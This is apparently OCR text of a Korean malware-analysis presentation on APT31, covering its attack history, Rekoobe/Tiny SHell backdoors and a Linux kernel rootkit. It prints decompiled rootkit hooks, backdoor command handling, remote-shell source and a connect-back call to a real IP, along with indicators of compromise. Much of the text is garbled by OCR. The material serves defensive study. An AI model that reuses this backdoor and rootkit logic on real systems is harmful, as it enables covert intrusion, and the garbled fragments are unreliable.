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I. APT31 History

2022-05-20 - VinCSS - m4n@w4r, Tran Trung Kien, Dang Dinh Phuong /’
B8 [RE027] China-based APT Mustang Panda might have still continued their attack activities against organizations
in Vietnam

3% PlugX

2022-05-17 - Positive Technologies : Positive Technologies
BB Space Pirates: analyzing the tools and connections of a new hacker group
¥ FormerFirstRAT ¥ PlugX ¥ Poison lvy 3% Rovnix ¥ ShadowPad ¥ Zupdax

2022-05-16 - JPCERT/CC - Shusei Tomonaga
AB Analysis of HUI Loader
3% HUI Loader ([IBIIGRJ ¢ Poison vy ¥k Quasar RAT

2022-05-05 - Cisco Talos - Jung soo An, Asheer Malhotra, Justin Thattil, Aliza Berk, Kendall McKay
A# Mustang Panda deploys a new wave of malware targeting Europe
3% Cobalt Strike ¥ Meterpreter 3% PlugX

2022-05-02 - Sentinel LABS - Joey Chen, Amitai Ben Shushan Ehrlich

AB Moshen Dragon’s Triad-and-Error Approach | Abusing Security Software to Sideload PlugX and ShadowPad
¥% PlugX ¥ ShadowPad

2022-04-28 - PWC - PWC UK
BB Cyber Threats 2021: A Year in Retrospect (Annex)
¥% Cobalt Strike ¥ Conti ¥ PlugX ¥ ROKRAT & Red Menshen
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I. APT31 History az=zx

AMNT A1 B

APT31
Suspected attribution: China

Target sectors: Multiple, including government, international financial organization, and
aerospace and defense organizations, as well as high tech, construction and engineering,
telecommunications, media, and insurance.

Overview: APT31is a China-nexus cyber espionage actor focused on obtaining information that
can provide the Chinese government and state-owned enterprises with political, economic, and
military advantages.

Associated malware: SOGU, LUCKYBIRD, SLOWGYRO, DUCKFAT

Attack vectors: APT31 has exploited vulnerabilities in applications such as Java and Adobe Flash
to compromise victim environments.
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I. APT31 History

=

2012-02-10 - tracker.h3x.eu - Malware Corpus Tracker
A8 Info for Family: plugx

¥ PlugX

2022-05-20 - VinCSS - m4n@w4r, Tran Trung Kien, Dang Dinh Phuong
W8 [REQ27] China-based APT Mustang Panda might have
in Vietnam

3% PlugX

continued

their attack activities against

organizations

APT31 APT31 .targ.;eted
reportedly the I.=|nmsh
targeted a parliament

manufacturing m
sector

organization

German public
bodies

APT31 breached the network of

APT31 leveraged

Norwegian software firm Visma re{p\:r.l;z;‘]ly COVID-19 Vaccine Ongoing
/ launched a Theme attacks against
APT31 reportedly |/ spear phishing T a large number

targeted U.S. legal APT31 campaign APT31 targeted of French
organizations via breached the against a person the campaign organizations -

SQL injection Norway involved in the staff of US APT31

attacks government’s pro-democracy presidential exploiting

IT network side of the Hong candidate Joe home routers
l APT31 targeted American companies with equation group 0 day /\ ong protests / Biden
> 2013 > 2014 > 2015 > 2016 > 2017 2018 > 2019 > 2020 > 2021




I. APT31 History =zzas==

Linux Rekoobe Operating with New, Undetected
Malware Samples

@ Written by Ignacio Sanmillan - 20 January 2020
halysis of the new Linux Rekoobe samples, highlighting some of the

ifferences between these variants and previous samples. We have also provided an overview of the
network protocol.

e
1 (1) One engine detected this file C £ = NZ x for why the malware has gone undetected, even though the code base
| | ar to have been heavily modified on a source code level from the
2e2dc032816¢19b033bb19c24e59e354e519606958af 56,38 KB 9019.07-23 034321 UTC AQ
b93fd8049d162a8e3edd .  onte o 3E
Inome/wys/botnet/botnet-procedure/126 S been consistently operational since late 2015. In contrast, we

JE— i . : . . :
oo ° rated intermittently over small periods of time, since the newly

reated in recent years, and there appears to be a gap in 2017 where

additional Rekoobe samples have not been found.
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34 Ala4HN
POST /index.html HTTP/1.1
Host : I
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1

.HTTP/1.1 200 OK

Server: Apache/2.2.3

Date: Tue, 19 Apr 2022 09:25:15 GMT
Content-Length: 2

Connection: close

Cache-Control: no-cache

..POST /index.html HTTP/1.1

Host: I

Connection: keep-alive

User-Agent: Mozilla/5.0 (X11; Linux x86 _64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 1




Content-Length: 1

HTTP/1.1 200 OK

Server: Apache/2.2.3

Date: Tue, 19 Apr 2022 09:25
Content-Length: 2
Connection: close
Cache-Control: no-cache

..POST /index.html HTTP/1.1

Host:

Connection: keep-alive

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 264
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=1 0B 23 JAVA 243

| etc
pmEXSbXxMNh
= rg-ZYgPADFC

® zZYgPAbFC.i64

(@, (68
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7HH+A1H13 " > %‘oﬂt







> [ DB 2% JAVA 243

v etc

__int64 _ fastcall hide_module(__inté4 al, __int64 a2)

__int64 result; // rax

result = _fentry__ (al, a2);
if ( !'module_hidden )

module_prev = *((_QWORD *)mod + 2);
list _del((char *)mod + 8);

result = module_hidden == 0,
module_hidden = module_hidden == 0;

}

return result; |

= }

 pm-X5bXxMNh
v B2 re-ZYgPADFC
ZYgPABFC

® zZYgPAbFC.i64

T

. -\
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e e enn ey

> ) DB %l JAVA 2§73

v B etc -
pm-X5bXxMNh

v B rc-ZYgPADFC
ZYgPAbFC -

® zZYgPAbFC.i64 ’1 ¥
- THerAfEB ALz,
| . = , - — - — ,l,; ST - oa——— - - — . TN TR -
|_int64 _ fastcall hk_proc_readdir(__int64 al, _ int64 a2)

{
__int64 (__fastcall *v2)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD); // rdx

_fentry__(al, a2);

bk_proc_filldir = v2;

return ((__int64 (_ fastcall *)(__int64, _ int64, _ int6d4 (__ fastcall *)(__int64, _ int64)))*(&hks + 1))(
al,
a2,

nw_proc_filldir);




(v15 = *(int *)(v14 + 1188), ( DWORD)v15 == 1) )

. if (Ivid ||
=5 {
‘ ABEL_7:
as if ( strstr((const char *)(v13 + 1656), "ZYgPAbFC") )
{
i rpid = v9;
-9 if ( v9 <= OX7FFF )
4 pidtab[vS >> 3] = (1 << (v9 & 7)) | pidtab[v9 >> 3] & ~(unsigned
return OLL;
}
v5, v3);

return bk_proc_filldir(al, a2, v21, v7,

}
- if (v15 = rpid)

if ( vl5 == spid && v15 )

> 0 DB 2% JAV return OLL;

int8) (1 << (v9 & 7));

v @ etc

v B rc-ZYgPAbFC
ZYgPAbFC
D zYgPAbFC.i64

__int64 __ fastcall hk_proc_readdir(__int64 al, __int64 a2)
{
__int64 (__fastcall *v2)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD); // rdx
_fentry__(al, a2);
bk_proc_filldir = v2;
return ((__int64 (_ fastcall *)(__int64, _ int64, _ int6d4 (__ fastcall *)(__int64, _ int64)))*(&hks + 1))(
al,
a2,
nw_prod _filldir);




.data:
]I A.data:

.data:000000000001AA41
.data:
.data:
.data:
m .data:

.data:000000000001AA46
) .data:
<3 .data:
.data:
.data:
.data:
.data:
I .data:

.data:
;00000000000 1AA4F

>0 DB 2% JAVA o4 3=

v @l etc

000000000001AA40 iV

000000000001AA40

000000000001AA42
000000000001AA43
000000000001AA44
000000000001AA45

000000000001AA47
000000000001AA48
000000000001AA49
000000000001AA4A
000000000001AA4B
000000000001AA4C
000000000001AA4D
00000000000 1AA4E

>un o

v B rc-ZYgPADbFC
ZYgPAbFC

D zYgPAbFC.i64

- 000000000001AA60 key
: 00000000000 1AA60
:000000000001AA61
- 00000000000 1AA62
- 00000000000 1AA63
: 00000000000 1AA64
- 00000000000 1AA65
: 00000000000 1AA66
: 00000000000 1AA67
: 00000000000 1AA68
: 00000000000 1AA69
:00000000000 1AAGA
: 00000000000 1AA6B
: 00000000000 1AA6C
: 00000000000 1AA6D
- 00000000000 1AAGE
- 00000000000 1AAGF
: 00000000000 1AA70
:000000000001AA71
- 00000000000 1AA72
- 00000000000 1AA73
: 00000000000 1AA74
- 00000000000 1AA75
: 00000000000 1AA76
: 00000000000 1AA77
: 00000000000 1AA78
: 00000000000 1AA79
- 00000000000 1AATA
: 00000000000 1AA7B
: 00000000000 1AA7C
: 00000000000 1AA7D
- 00000000000 1AATE
- 00000000000 1AA7F

db 60h ;

db 3Dh ;

db OEBh
db 15h
db 15h

db 3Ah ;
db 71h ;
db 5Eh ;
db 2Bh ;
db 73h ;

db OAEh
db OF3h
db 85h

db 7Dh ;
db 75h ;

db 8Bh
db 1Fh

db 55h ;
db 2Ch ;
db 57h ;
db 3Eh ;
db 61h ;
db 58h ;

db 0D7h

db 2Dh ;

db 98h
db 11h
db 0A3h

db  3%h ;

db 14h
db ODEh
OFEh

w 4+ >0 -



_fentry__ (al, a2); 0
stepl = (char *)FormatfEncode EA10|3 a2);

step3 = (char *)FormatEncode("__step3__ ", a2);

~ nfset((_int64)"__step3__", a2);

~-ttp_prot[23] = n_get_port;

bk_get_port = v2;
nf_register_hook(&nf_in);
nf_register_hook(&nf_in_pro);
nf_register_hook(&nf_out);
return OLL;

= (__int64 (__fastcall *)(_QWORD, _QWORD))tcp_prot[23];

day /

>@ D
v B etc
pm-X5bXxMNh
v 0 rc-ZYgPADbFC
ZYgPAbFC

® zZYgPAbFC.i64

€23 JAVA oty 3s

— !

BN S AL







IO AE 8 HNO|ALLD sizo) otyac 24

[
switch ( argc )
= {
case 2:
Y | if ( (unsigned int)strcmp(argv[1l], "cb") )// ZE QIXt
' {
- - if ( (unsigned int)stremp(argv([1], "proxy") )// oto|m| |2Xt&d °Ix}
B v39 = atoi(argv([1]);
e D | else
i v3ie = 1;
}
(¢ else
i {
v3i7 = 1;
v39 = 12345;
: }
> B DB ©#| JAVA 243 break;
v @ etc case 3:
pm-X5bXxMNh if ( !'(unsigned int)strcmp(argv[1l], "cb") )
- {
v3i7 = 1;
v3i9 = atoi(argv([2]);
}
break;

ﬁ case 1:
- B - | v3i9 = 0;




= I
. v29 = gethostbyname("192.168 . RdIEN") ;
' it (v29 )
2:s D
memcpy (&v22, **(_QWORD **) (v29 + 24), *(int *)(v29 + 20));
- ¥ v21[0] = 2;

v21[1] = htons((unsigned __int16)v39); |

(12 v28 = _libc_connect(v34, v21, 16LL);
if ( v28 >=0 )
{

vl5 = 1;
> DB 2% JAVA 23 _setsockopt(v34, 6LL, 1LL, &v15, 4LL);
v @l etc goto LABEL_67;
pm-X5bXxMNh }
v B rc- _libc_close(v34);
 ZYgPAbFC }

g y D (00 il 7 o
7H%+A1H1 g7 AR %‘D\




> 00 DB 2%l JAVA 443CE

v

v

[——)

etc
pm-X5bXxMNh

' ZYgPAbFC
g A

v3 = e_sub_417C20_RecvFrom(v4, v1, 0x400uLL, 0);
if (v3>0)
{

v2 = 0OLL;
v2 = e_sub _|406B54_decrypt_AES_packet(" step2 ");
if (v2 )
{
if ( strstr(vl, v2) )
{
qword_707B78 = sub_412770();
vs = 1;
dword_707B74 = 1;
}
_libc_free(v2);
}

7H'=£A1 He N 21 %‘F\



if (V170 == 0x25 )

- {
:I;ﬂ memset (v135, 0, sizeof(v135));
vi21 = :
B memcpy - 1);
strcpy
vi22 = -
- " e_sub_40A029_SuccessLoggingSend(al, (__int64)v139, v122);
e_sub_402F68_CommandExcute((__int64)v135, al);
}
if (v170 1= 0x27 )
break;
memset (v135, 0, sizeof(v135));
v123 = strlen(v159);
memcp 3 - 1);
‘ strcp
o = v124
2 a DB 2% JAVA Stdn= e_sub_40A029_SuccesslLoggingSend(al, (__int64)v138, v124);
v a etc e_sub_402D7C_CommandRetRecv((__int64)v135, al);
}
pm-X5bXxMNh if ( v170 !'= 0x2B )
break;

memset(v135, 0, sizeof(v135));

v125 = strlen(v159);

memcpy (v135, &v159[1], v125 - 1);

strcpy(v137z, ",,");

v126 = strlen(v137);

e_sub_40A029_SuccesslLoggingSend(al, (__int64)v137, v126);
e_sub_402BF7_execfork((int)v135, al);

}
if ( v170 == 0x2D )

memset(v135, 0, sizeof(v135));
v127 = .
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First, we don't know at the time of writing whether Rekoobe's source code is shared between if( stremp( argv[1], "cb" ) != 0 )

different threat actors or if Rekoobe has been operated by APT31 since it was first discovered {

/* create a socket x/

in 2015. Moreover, if APT31 operated this sample of Rekoobe, there is no indication
whether this implant is used in the infrastructure or to persist in an appliance of a final server = socket( AF_INET, SOCK_STREAM, 0 );

victim, somewhere.

if( server < @ )

ERRATUM (12/11/2021): While we initially thought that the implant t

perror( "socket" );
(4640805c362b1e5bee5312514dd0ab2b) was linked to Rekoobe, the security researcher Billy return( 2 );
Leonard pointed out on Twitter [Billy Leonard's tweet] that it was actually Tiny SHell [GitHub }

repo] which we definitely agree. Tiny SHell has been used by multiple threat actors since
server_host = gethostbyname( argv[1] );

several years now and it is not surprising to see APT31 using it.

1 O/ SEKOIA.IO

https://github.com/creaktive/tsh/blob/master/tsh.c



gy3c @
0x2D Fork Z2AlA Mz} ghn| AME xae. st (ection)
_ case GET_FILE:
0x2B 0x2D% STt 7|52 6lLt ZSA| MHZ H&sH= HAIXIRE ,, F &felE
ret = tsh_get_file( server, argv([3], argv[4] );
0x27 HHE HYS Al A Zo (( FAIFS MHZ HEEL break;
0x25 FHHE Y2 NHWSID MY A0t a6 FAAS MHZ TSE cose PUTFILE:
0x15 el e 7ls :t::a:;tshjut_file( server, argv([3], argv[4] );
0x18 g g2C 7ls case RUNSHELL:
0x1B 2l5A B Ha Y ret = { (argc =3 )
? tsh_runshell( server, argv[2] )
0x13 thiE Health Check : tsh_runshell( server, "exec bash --login" ) );
break;
0x23 Proxy E2f0|¢ig 2 $AMS HHS O Mol Bsts 7|50/0f -
A 22 CloEfe $5 ERE QET MHE SH2E TEEL
ret = -1;
0x21 Proxy S2I0|2IER 27Ok £419H2 HEE CHE Mol XM&st= 7|5010 break;
=4 Y2 logget \\ ERE 23 Mt SEoZ HEE. ¥

shutdown( server, 2 );

Ox1F Proxy E2l0[QER AR $4IU2 YRE THE Mol T&s8H= 7150(04
4 Y2 Ho|E2t ZUIAt 27HE LFEH MHZ SHoR TEE.

https://github.com/creaktive/tsh/blob/master/tsh.c
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0x2D Fork Z2AlA MM} 8h AME e el action)

case GET_FILE:
0x28 0x2D% S 7158 oLt ZE=A| Mz maste oaxift L, # srois

ret = tsh_get_file( server, argv([3], argv[4] );

0x27 e YYS dYsin 4y Qﬂiﬁ (( %X}Q—% M2 &8 break;

_fentry__(al, a2);

case PUT_FILE:
0x25 stepl = (char *)FormatEncode 2x013 a2); ¢
0x15 ::22:(? (22324;ZFogTzsgnc?deQEYTStEPB__"’ ) ret = tsh_put_file( server, argv[3], argv[4] );

v2 = (__int64 (_ fastcall *)(_QWORD, _QWORD))tcp_prot[23]; break;

tcp_prot[23] = n_get_port;
0x18 bk_get_port = v2;

nf_register_hook(&nf_in);
0x1B nf_register_hook(&nf_in_pro);

nf_register_hook(&nf_out);

case RUNSHELL:

ret = ( ( argc == 3 )
? tsh_runshell( server, argv[2] )

o0x13 return OLL; : tsh_runshell( server, “exec bash --login" ) );
break;
0x23 Proxy S210[olg 2 A HEE CHE M| M8 7150[0] o~
=4 Y2 oloEjet ¢ ERE 2FF MHE SEHoZ HEE.
ret = -1;
0x21 Proxy Eci0|SIER AFISE 4182 HES CHE Mol &3t 75010 break;
4 22 lojget \\ EARE 23T M2 SEHeE MEE }
Ox1F Proxy S2j0[IER A0 $A1%2 FRE THE Mol H&sts 7|50/0] S e 2

w4 Y2 Ho[E Yt SUEX 27HE 2F MHZ SEoR S

https://github.com/creaktive/tsh/blob/master/tsh.c



28 KISIALD opy =
I Aas SofArd o 24
__inté4 __ fastcall hk_t4_seq_show(_QWORD *al, __int64 a2)
{ 1 2= otM 3L
unsigned int v2; // rl3d Od-ld' _|__7;'\| = Oi—
int v3; // eax
__int64 v5; // rl5
char s[24]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-38h]
v/ = __readgsqword(0x28u) ;
v2 = ((__int64 (*)(void))*(&hks + 8))(); __int6e4 _ fastcall hk_t4_seq_show(_QWORD *al, _DWORD *a2)
if ( (_DWORD)logininfo ) {
{ unsigned int v2; // rl3d
-if ( HINORD(10g1n1nfO) && (Sprinr-‘lr n.onAvn" UTLINDN /T Ansininfal) L = ~1r121 KRy S R R VY B xIJ_ E E; OI‘A'|-:| E
|| (_WORD)qword_183E8 |:|°H _I_—Jkl Hol—=
&& (sprintf(s, ":%04X", (unsigi  hk_t4_seq_show X =m § Q
{
al[3] = v5;
return v2;
} QY @opoxl QXN [EHESIY GBF2 G L ]
if (a2 !1=1)
{ <
v3 = *(_DWORD *)(al[12] + 12LL)  &M&EZ 374 (0.23%)
if (v3==1)
{ . https://www.joesandbox.com » analysis » html
if ( *(_DWORD *) (a2 + 60) == . .
return 0; Linux Analysis Report KwWQzIGe - Joe Sandbox
return v2;
} hk_t4_seq_show .symtab, 0x3400, 473, FUNC, <unknown>, DEFAULT, 2. hkinitm .symtab, 0x660,
if (v3 && v3 1=2) 507, FUNC, <unknown>, DEFAULT, 2.
{ = A
SF(v31=3) o] H[O|X|Z 22. 6. 60f| Y2HBLICE
return v2;
LABEL_18: https://www.joesandbox.com » analysis » lighthtml
if ( *(_DWORD *) (a2 + 72) == s
return 0; Automated Malware Analysis Report for KwWQzIGe ... - Joe Sandbox
; return vz; hk_t4_seq_show .symtab, 0x3400, 473, FUNC, <unknown>, DEFAULT, 2. hkinitm .symtab, Ox660,
if ( *(_BYTE *)(a2 + 26) == 6 ) 507, FUNC, <unknown>, DEFAULT, 2.
goto LABEL_18;
1frét;,(-ﬁDg[~)RD P (a2 + 600) == https://www.joesandbox.com » analysis » lighthtml :
) } Automated Malware Analysis Report for KwWQz|Ge ... - Joe Sandbox
retu hk_t4_seq_show .symtab, 0x3400, 473, FUNC, <unknown>, DEFAULT, 2. hkinitm .symtab, 0x660,
} 507, FUNC, <unknown>, DEFAULT, 2.
‘ 24 () 24 secu o N
o--o
61
68facac60eelade12aa8i8f2024787244c2584a1a03d10cda83eeaf1258b37112 408.03 KB 2022-02-23 05:30:41 UTC 6Q
KwWQzIGe Size 3 months ago ELF
?
64bits  elf relocatable

Gommunity
Score




0 A& HOHAILL aay 2y

[ =

__inté4 __ fastcall hk_t4_seq_show(_QWORD *al, __int64 a2)

S on 2E7| Ot AL
IDA - pm-NSEINNER.i64 (pm -l [Users/f10w3r/Desktop/ENK| @ @ @ IDA - 68facac60eeOadeiaa8f82024787244c2584a1a03d10cda83eeaf1258b37112.i64 (68facac60eeOade1aa8f8f2024787244c2584a1a03d10cda8s
A @ Q@ et FFw Xi> OO NodebusfrEI €. D 8 MK Bt AR @k gk @ o # m XIp @ O Nodebugger a8
L W | [
Ection Data Unexplored ~ External symbol B Lumina function | : Library function | Regular function [l Instruction Data Unexplored External symbol [l Lumina function
. x [@ IDA View-A Pseudocode-A X Strings Ehnclions ® 0 O X [ IDA Vi... >< [ pseudoc... % [@] Type Lib... x [Sstrin.. x [@
= 1|lunsigned __ int64 pkill_constprop_6() e 1 char *pkill_clone_0()
2 |£] ua_set_input_ourer 2{
3| const char *v@; // rbx ; : 3| const char *vO; // rbx
4 unsigned __int64 v2; // [rsp+8h] [rbp—lG\Ud‘mpm‘SK'p 4| char *result; // rax
5 ud_input_end 5
® 6| vO = (const char *)&init_task; (7 ud_insn_hex ® 6 VvO = (const char *)&init_task;
® 7 2 = __readgsqword(0x28u) ; 3 . 7 do
3 do [7] ud_disassemble 8| {
9 { [F] ud_init ® 9 result = strstr(v0 + 1656, "PgSD93ql");
®10 if ( strstr(vO + 1656, "ZYgPAbFC") ) ud_initializ ® 10 if (¢ result °)
" - e ,
®11 send_sig(9LL, vO, 1LL); ) ®11 result = (char *)send_sig(9LL, vO, 1LL);
®12 = (const char *)(*((_QWORD *)ve + @7 netexit ®12 v = (const char *)(*((_QWORD *)vO + 137) - 1096LL);
131 ) [F] n_get_port 13| }
® 14| while ( vO != (const char *)&init_task )nfset ® 14| while ( vO != (const char *)&init_task );
® 15 return __readgsqword(0x28u) " v2; z ® 15| return result;
® 16} [7] netinit ® 16}
ipv4_tcp_checksum < == Y
o)
L olgt 2E3Z| oHAC & nfout ol FEI ofd3E
[7] strnstr
[7] start_exec
[7] kexec
hk_t4_seq_show
pkill_clone_0
[7] nfin
} [7] hide_proc
unhide_proc
is_invisible
[71 hk _aetn
KwWQzIGe Size 3 months ago :‘El'.\

?
64bits  elf relocatable

Community o
Score

X
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3 0 @ 30 security vendors and no sandboxes flagged this file as malicious r:"« = X :l:
/62
11edf80f2918da818{3862246206b569d5dcebdc2a7ed791663ca3254ede772d 19.05 KB 2022-02-24 18:01:56 UTC @Q
PgSD3q| Size 3 months ago ELF
?
64bits  elf
x Community v
Score
DETECTION DETAILS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY °
Security vendors' analysis on 2022-02-24T18:01:56 UTC v L(‘_‘]
Ad-Aware @ Trojan.GenericKD.38943218 AhnLab-V3 @ Backdoor/Linux.Agent.19512
ALYac (1) Trojan.GenericKD.38943218 Arcabit (1) Trojan.Generic.D25239F2
Avast (1) ELFRekoob-K [Trj] AVG (1) ELF:Rekoob-K [Trj]
Avira (no cloud) @ LINUX/Rekoobe.moaku BitDefender @ Trojan.GenericKD.38943218
Comodo @ Malware @#usp23dkyjhin Cynet @ Malicious (score: 99)
Emsisoft @ Trojan.GenericKD.38943218 (B) eScan @ Trojan.GenericKD.38943218
ESET-NOD32 (1) Linux/Rekoobe.N Fortinet (1) Linux/Rekoobe.Nitr
GData (D) Trojan.GenericKD.38943218 Ikarus (D) Backdoor.Linux.Rekobee
Jiangmin @ Trojan.Linux.bwv Kaspersky @ HEUR:Trojan.Linux.Agent.gen
Lionic (D) Trojan.Linux.Linux.4lc MAX (D Malware (ai Score=99)




X

PgSD93q!
?
64bits elf
Community v
Score
DETECTION DETAILS BEHAVIOR CONTENT

Security vendors' analysis on 2022-02-24T18:01:56 UTC v

Ad-Aware @ Trojan.GenericKD.38943218
ALYac (1) Trojan.GenericKD.38943218
Avast (1) ELFRekeobK [Trj]

Avira (no cloud) (1) LINUX/Rekoobe.moaku
Comodo @ Malware @#usp23dkyjhin
Emsisoft @ Trojan.GenericKD.38943218 (B)
ESET-NOD32 (1) Linux/Rekoobe.N

GData (D) Trojan.GenericKD.38943218
Jiangmin () Trojan.Linux.bwv

Lionic @ Trojan.Linux.Linux.4!c

SUBMISSIONS

@ 30 security vendors and no sandboxes flagged this file as malicious

11edf80f2918da818{3862246206b569d5dcebdc2a7ed791663ca3254ede772d

COMMUN

10C

80e5fec19843c32c6c3fc38aabdeb428c339b0dfce28023529144405b9¢72b33
C9eb46d00e11acb354b518f725412b88c69cc511ec8d5bd3chb03c1740f8a2936
2e2dc0328f6c19b033bb19c24e59e354e519606958afb93fd8049d162a8e3edd
E63c2e35a41¢51e33b246f5b60c5d1b8da0d8c50bf7ec592383b61818217e8d7
_7148ae1ab45e17889915100fdc203fe7941d8e9b946d44a3989ab8baeb6066e1.
1d0591049a65db6508a9517f72954541ef6b5a7fe9153c5edcb1bac1b70b991c
4B45E601D480124C38BE06A706F7D8F4
F34119A442651945D5EFB33DB8901D9B
7xin.bitscan[.Jwin

huawel[.]site
96.45.187[.]113

()
.0

119.3.22[.]174 152" INTEZER
AhnLab-V3 @ Backdoor/Linux.Agent.19512
Arcabit (1) Trojan.Generic.D25239F2
AVG (1) ELF:Rekoob-K [Trj]
BitDefender @ Trojan.GenericKD.38943218
Cynet @ Malicious (score: 99)
eScan @ Trojan.GenericKD.38943218
Fortinet (1) Linux/Rekoobe.Nitr
lkarus (D) Backdoor.Linux.Rekobee
Kaspersky @ HEUR:Trojan.Linux.Agent.gen
MAX (D Malware (ai Score=99)




while (1)

{,{,hne (1) S\e.e Y

do

{
do

sub_43AB30 (0x1Eu);

v9 = socket(2, 1, 0);
}
while ( (v9 & 0x80000000) != 0 );
v10 = sub_43E6F0("119.3.22.174");

while ( 1) }
Hile ¢ 1 while ( !'v10 );
? ile (1) memcpy (v20, **(_QWORD **)(v10 + 24), *(int *)(v10 + 20)):
memset (v13, ©, Ox258uLl); zig{?} - géaa_
if ( 1v37 = i
bﬁeai; ) if ( (int)libc_connect(v9, v19, 16LL) >= 0 )
v30 = 10; { '
_sleep(16LL, v13, Ox4BLL); vll = sub_43AD40(v9, (__int64)v19);
V33 = 0; if ((vil >=0)
v34 = _socket(2LL, 1LL, OLL); break;
if ( (V34 & 0x80000000) == 0 ) }
{ sub_43BD90() ;
v29 = gethostbyname("192.168 [EE=PNIE] }
if (v29)

{

memcpy (&v22, **(_QWORD **)(v2S9 + 24), *(int *)(v29 + 20));
v21[0] = 2;
v21[1] = htons((unsigned _ intl6)v39);
v28 = _libc_connect(v34, v21, 16LL);
if (v28 >=0)
{

vlis = 1;

_setsockopt(v34, 6LL, 1LL, &v15, 4LL);

goto LABEL_67;
}
_libc_close(v34);
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Submissions ©
Date Name Source
2022-02-10 01:39:13 UTC KwWQzIGe @ f5717eac - wel

Submissions Per Country Submissions Per Date

Prevalence Summary

2022-02-10 01:39:13 UTC
2022-02-10 01:39:13 UTC
2022-02-28 05:30:4

First Submission
Last Submission

Last Rescanned

. KR Total Submissions
Source submissions 1
End-user Sightings Sysinternals tools
0 e °
2022-02-10
Overview
General Information Detection Signatures Classification
Sample Name: KwWQzIGe 1] &2
Executes the "rm" command used to delete files or dir...
Analysis ID: 569979 %)
MDS5: cb093453576184d1a2f5... [
SHA1: 2f19ff48fd8ff94557d44c... [4]
SHA256: 68facac60ee0adetaas ... [
Tags: elf
Infos:

T

Score: 0
Range: 0-100

Whitelisted: false
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Behavior Graph
ID: 569979 MALICIOUS
Sample: KwWQzIGe SUSPICIOUS

Startdate: 10/02/2022

Architecture: LINUX UNKNOWN

Score: 0

KIXS-AS-KRKoreaTelecomKR INIT7CH 4 other IPs or domains started started started
Korea Republic of EHA Switzerland
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m m m 6 other processes |
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